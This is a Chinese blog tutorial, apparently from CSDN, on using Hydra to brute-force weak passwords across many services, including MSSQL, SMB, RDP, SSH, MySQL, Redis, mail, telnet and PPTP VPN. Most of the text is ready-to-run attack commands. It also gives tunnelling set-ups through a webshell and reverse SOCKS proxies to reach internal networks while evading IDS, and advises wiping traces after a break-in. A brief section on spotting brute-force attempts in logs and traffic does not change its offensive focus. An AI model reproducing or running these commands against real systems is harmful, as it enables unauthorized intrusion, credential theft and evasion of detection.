hydra针对各类服务弱口令探测及利用

hydra是黑客组织thc的一款开源的暴力密码破解工具。
kali 自带的 hydra 为例进行演示, linux 版和 windows版 hydra, 在使用上几乎是一样的, 需要注意的是, 有些库没编译进去 导致某些服务爆破模块不可用。
 
 

hydra的基础选项参数说明

-l   用于爆破单个用户名。
-L  用于爆破用户名字典文件。
-p  用于爆破单个密码,比如:内网环境中,管理密码在整个内网都通用。
-P  用于爆破密码字典文件。
-x  不用自己准备好的字典,而是直接指定类型在线生成的字典进行爆破。
-e  尝试空密码、用户名当作密码去爆破、把账户名密码调转进行爆破。直接指定账号密码组合进行爆破(格式user:pass)。比如:用已经抓到的密码在目标内网的所有机器上快速撞一遍。
-M 要爆破的目标IP列表,把目标IP事先写到文件中进行批量爆破,-o 把爆破成功的结果都存到指定文件中。
-f   每个IP只要成功爆破出一个密码就立即停止爆破。
-F  所有IP列表中,只要成功爆出一个密码就立即停止爆破。
-t   每个IP同时用几个进程跑,注意掌握火候,进程太多会影响精度,容易触发报警。
-T  所有IP总共用多少进程来跑。
-w  连接响应的超时时长。
-V  显示正在爆破使用的账号和密码。
-S  开启ssl。
 
 

爆破实战

通常在vpn内网中爆破成功率会高一些,内网通常会比较松懈。可以尝试直接拿hydra在公网进行爆破,但成功率真的很低,提示:进行公网爆破会被溯源发现。

尝试爆破m ssql的sa 密码。
# hydra -l sa -P /tmp/wordsdict/pwd.txt -e ns -f -o sa_res.txt -M target_sa.txt -t 8 -T 16 -w 20 -V mssql
爆破成功会提示password found
 
 
尝试爆破 windows smb 管理员用户弱口令,类似 mssql sa 一样,目的是 获取目标的 windows 机器权限。
# hydra -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -o smb_res.txt -M smb_login.txt -t 8 -T 16 -w 20 -V smb
 
 
尝试爆破 windows  rdp 管理密码
一旦爆破成功它会尝试 登陆 一次, 如果你爆的那个用户当前正在线, 后果就是 直接把对方蹬出去。
最好用最新版的 windows 平台的 hydra,而不是kali的。
# hydra -S -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -o rdp_res.txt -t 4 -w 20 -V rdp://192.168.5.16
 
 
上面只是爆破目标windows 本地管理员密码, 我们也可以直接用它来爆破指定的 域用户密码
# hydra -l rootkit\\administrator -P passwd.txt -e ns -f -o rdp_res.txt -t 4 -w 20 -V rdp://192.168.5.16
 
 
尝试爆破 linux ssh root 密码
centos6以后root弱口令已比较少了,centos5以前的系统还是很靠谱的。支持基于证书登陆的ssh爆破。
除了linux一些路由交换设备的ssh也可以尝试。
# hydra -l root -P /tmp/wordsdict/pwd.txt -e ns -f -o ssh_res.txt -t 8 -T 16 -w 20 -V ssh://192.168.5.16
 
 
尝试爆破 mysql root 密码
暂适用于 5.6.x 之前的版本, 包括 MariaDB,5.7.x 之后的版本可能会有些错误。
还可以爆破各类登录验证的服务, 比如: ldap、webmail、ftp... 拿着弄到的账号密码可以到处去撞目标入口
# hydra -l root -P /tmp/wordsdict/pwd.txt -e ns -f -o mysql_res.txt -M target_mysql.txt -t 8 -T 16 -w 20 -V mysql
 
 
尝试爆破p ostgresql postgres 密码。 类似 mysql
# hydra -l postgres -P /tmp/wordsdict/pwd.txt -e ns -f -o pg_res.txt -M postgres_login.txt -t 8 -T 16 -w 20 -V postgres
 
 
 
尝试爆破 redis 弱口令, redis 只需要指定密码字典文件。 用户名留空即可。
运气比较好, 目标机器r edis 是以 root 权限在运行的话 getshell 就很快了,参考文章利用redis写webshell。
# hydra -P /tmp/wordsdict/pwd.txt -e ns -f -o redis_res.txt -t 8 -T 16 -w 20 -V redis://192.168.5.16
 
 
尝试爆破 ftp 弱口令, ftp 有别于其它服务, 通常它的用户名都是不固定的, 该怎么去确定有效的目标 ftp 用户名呢 ?
这就要靠你前期充分精准的信息搜集了。
# hydra -l wwwadmin -P /tmp/wordsdict/pwd.txt -e ns -f -o ftp_res.txt -t 8 -T 16 -w 20 -V ftp://192.168.5.16
 
 
尝试 mail 服务端口弱口令, :smtp、imap、pop3。
主要是用来爆 自己的mail服务器,对于 gmail 这类公共邮箱。 基本不 可能成功。
爆破IMAP POP3 最好加上 -S参数
# hydra -l fedora@god.org -P /tmp/wordsdict/pwd.txt -e ns -f -o smtp_res.txt -t 8 -T 16 -w 20 -V smtp://192.168.5.16
# hydra -S -l webadmin@god.org -P /tmp/wordsdict/pwd.txt -e ns -f -o imap_res.txt -t 8 -T 16 -w 20 -V imap://192.168.5.16
# hydra -S -l arch@god.org -P /tmp/wordsdict/pwd.txt -e ns -f -o pop3_res.txt -t 8 -T 16 -w 20 -V pop3://192.168.5.16
 
尝试爆破 win/linux telnet, 某些路由交换设备上可能会使用telnet服务
# hydra -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -o telnet_res.txt -M telnet_login.txt -t 8 -T 16 -w 20 -V telnet
# hydra –l root -P /tmp/wordsdict/pwd.txt -e ns -f -o telnet_res.txt -M telnet_login.txt -t 8 -T 16 -w 20 -V telnet
 
 
尝试爆破用于采集设备信息的 snmp 服务。
此爆破此服务用处不大,可以用于 尽可能多的搜集内网信息
# hydra -P /tmp/wordsdict/pwd.txt -e ns -f -o snmp_res.txt -M snmp_login.txt -t 8 -T 16 -w 20 -V snmp
 
 
尝试爆破 socks5 弱口令。
# hydra -l admin -P /tmp/wordsdict/pwd.txt -e ns -f -o socks5_res.txt -t 8 -T 16 -w 20 -s 53 -V socks5://192.168.5.16
 
 
pptp 协议的 vpn 很容易被爆破,对于 大型企业 不大可能会用 pptp,基本上都是 openvpn cisco sslvpn
# thc-pptp-bruter -n 100 -u vpn 192.168.1.56 < /tmp/wordsdict/pwd.txt
 
 
http加密隧道快速探测服务弱口令。
上面都是假设自己就直接处在目标内网下的爆破方式, 但我们在实战中 绝大多数情况下, 往往还是只有一个 webshell, 是不是这样就意味着没法玩内网爆破了呢 ?
内网穿透 abptts,借助这种 http 加密隧道实现的单端口转发, 一样可以很方便的对目标内网的各类基础服务进行弱口令探测。
这样干的好处在于不仅可以帮我们躲过一些 ids 的侦测, 让爆破变得相对更难被察觉。
# python abpttsclient.py -c shellbox/config.txt -u http://192.168.1.56:86/abptts.aspx -f 127.0.0.1:445/127.0.0.1:445
先和目标机器建立好 http 加密隧道
 
# hydra -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -t 8 -T 16 -w 20 -V smb://127.0.0.1
而后继续尝试正常爆破即可, 毕竟数据是被裹在隧道中传递。
 
 
通过socks隧道快速探测目标内网中的各类基础服务弱口令,同样有一定 ids bypass 效果,怀疑是流量被多裹了一层,所以暂时没识别出来
 
既然是要利用 socks 隧道, 事先肯定得和目标内网机器建立好 socks 才行
# ./ew_for_Linux32 -s rcsocks -l 1080 -e 110
在自己的 vps 上执行
# ew_for_Win.exe -s rssocks -d 192.168.1.67 -e 110
在能正常通外网的目标内网机器上执行
之后再回到本地用 proxychains4 连到刚刚的代理上, 对目标内网进行正常爆破即可
# egrep -v "^$|#" src/proxychains.conf
round_robin_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 192.168.1.67 1080
实际的爆破效果如下
# ./proxychains4 -f src/proxychains.conf hydra -l sa -P /tmp/wordsdict/pwd.txt -e ns -f -t 8 -T 16 -w 20 -V mssql://192.168.1.56

 

关于hydra在不同linux发行版下的编译安装。
hydra在Ubuntu 14.04.5 x86_64 LTS上的详细编译安装方法,编译时特别注意下,因为有些库事先没装。
# apt-get update
# apt-get install git libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libgcrypt11-dev libncurses5-dev -y
装好所需依赖库
# git clone https://github.com/vanhauser-thc/thc-hydra.git
# cd thc-hydra/ && ./configure --prefix=/tmp/cr && make && make install
# cd /tmp/cr/bin && ./hydra -h

 

 

hydra CentOS 6.8 x86_64 上的详细编译安装方法
# yum install –y git openssl-devel pcre-devel ncurses-devel ncurses postgresql-devel libssh-devel subversion-devel gcc cmake mysql-devel subversion-devel ncpfs-devel postgresql-devel libncurses-devel
libidn-devel libpqxx-devel apr-devel apr-util-devel firebird-devel afpfs-ng-devel
# git clone https://github.com/vanhauser-thc/thc-hydra.git
# cd thc-hydra/ && ./configure --prefix=/tmp/cr && make && make install
# cd /tmp/cr/bin && ./hydra -h
 
 
尝试从系统日志和网络连接中去发现各种敏感服务爆破行为
# netstat -ano
hydra 默认其实是同时起十六个进程在跑, 所以此处你会看到有这么多连接, 本地端口是随机选个高端口 5 万以后的端口。
 
 
 
爆破 会在目标机器上留下大批的爆破日志, 比如: 从系统的安全日志中,可以 看到爆破的最终结果。
 
 
 
使用wireshark观察爆破行为。
mysql 错误号 1045 表示 mysql 账号密码错误, 返回 ok说 明爆破成功,通过IDS来侦测此类流量比较容易。
 
 
 
 
可以将爆破结果存为json格式。
# hydra -l postgres -P /home/wordlist/pwd.txt -e ns -f -o pg_res.json -b json -t 8 -T 16 -w 20 -V postgres://192.168.1.56
 
 

注意

如果已经通过其它方式, 抓到了很多密码,可以先 手工慢慢尝试, 没必要上来直接使用具开始批量跑。
实战中尤其是找不到有价值的入手点的时候,弱口令爆破 往往它比其它任何手段都要切实有效。
短时间流量激增可能会触发报警, 必须要有个高质量字典才行。
爆破成功后记得 把痕迹都擦干净。
如果发现目标很容易爆出来 有可能是蜜罐,最好用 nmap 中集成的各种开源蜜罐指纹, 或者 shodan 之类的空间搜索引擎去check一下。
 
 
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值